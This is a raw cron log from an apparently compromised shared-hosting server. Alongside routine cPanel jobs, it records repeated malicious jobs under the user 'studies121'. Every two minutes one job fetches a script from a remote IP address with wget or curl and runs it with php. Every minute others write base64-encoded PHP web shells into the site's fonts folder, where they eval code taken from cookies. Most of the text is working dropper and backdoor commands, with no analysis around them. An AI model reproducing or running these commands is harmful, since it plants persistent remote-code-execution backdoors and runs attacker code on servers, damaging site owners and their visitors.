Sep  7 03:22:01 ip-184-168-122-23 CROND[5827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:22:01 ip-184-168-122-23 CROND[5829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:22:01 ip-184-168-122-23 CROND[5830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:22:01 ip-184-168-122-23 CROND[5831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:23:01 ip-184-168-122-23 CROND[5924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:23:02 ip-184-168-122-23 CROND[5926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:23:02 ip-184-168-122-23 CROND[5927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:23:02 ip-184-168-122-23 CROND[5928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:24:01 ip-184-168-122-23 CROND[6153]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:24:01 ip-184-168-122-23 CROND[6162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:24:01 ip-184-168-122-23 CROND[6163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:24:01 ip-184-168-122-23 CROND[6165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:24:01 ip-184-168-122-23 CROND[6164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:25:01 ip-184-168-122-23 CROND[6522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:25:01 ip-184-168-122-23 CROND[6524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:25:01 ip-184-168-122-23 CROND[6526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:25:01 ip-184-168-122-23 CROND[6529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:25:01 ip-184-168-122-23 CROND[6531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:25:01 ip-184-168-122-23 CROND[6530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:26:01 ip-184-168-122-23 CROND[6609]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:26:01 ip-184-168-122-23 CROND[6612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:26:01 ip-184-168-122-23 CROND[6614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:26:01 ip-184-168-122-23 CROND[6611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:26:01 ip-184-168-122-23 CROND[6610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:27:01 ip-184-168-122-23 CROND[6693]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  7 03:27:01 ip-184-168-122-23 CROND[6697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:27:01 ip-184-168-122-23 CROND[6696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:27:01 ip-184-168-122-23 CROND[6698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:27:01 ip-184-168-122-23 CROND[6695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:28:01 ip-184-168-122-23 CROND[6775]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:28:01 ip-184-168-122-23 CROND[6778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:28:01 ip-184-168-122-23 CROND[6779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:28:01 ip-184-168-122-23 CROND[6783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:28:01 ip-184-168-122-23 CROND[6781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:29:01 ip-184-168-122-23 CROND[6906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:29:02 ip-184-168-122-23 CROND[6907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:29:02 ip-184-168-122-23 CROND[6909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:29:02 ip-184-168-122-23 CROND[6913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:30:01 ip-184-168-122-23 CROND[7069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:30:01 ip-184-168-122-23 CROND[7070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:30:01 ip-184-168-122-23 CROND[7071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:30:01 ip-184-168-122-23 CROND[7074]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:30:01 ip-184-168-122-23 CROND[7076]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:30:01 ip-184-168-122-23 CROND[7077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:30:01 ip-184-168-122-23 CROND[7082]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:30:01 ip-184-168-122-23 CROND[7084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:31:01 ip-184-168-122-23 CROND[7167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:31:01 ip-184-168-122-23 CROND[7168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:31:01 ip-184-168-122-23 CROND[7170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:31:01 ip-184-168-122-23 CROND[7172]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:31:01 ip-184-168-122-23 CROND[7173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:32:02 ip-184-168-122-23 CROND[7268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:32:02 ip-184-168-122-23 CROND[7269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:32:02 ip-184-168-122-23 CROND[7270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:32:02 ip-184-168-122-23 CROND[7273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:32:02 ip-184-168-122-23 CROND[7272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:33:01 ip-184-168-122-23 CROND[7363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:33:01 ip-184-168-122-23 CROND[7364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:33:01 ip-184-168-122-23 CROND[7367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:33:01 ip-184-168-122-23 CROND[7372]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:34:01 ip-184-168-122-23 CROND[7464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:34:01 ip-184-168-122-23 CROND[7466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:34:01 ip-184-168-122-23 CROND[7468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:34:01 ip-184-168-122-23 CROND[7469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
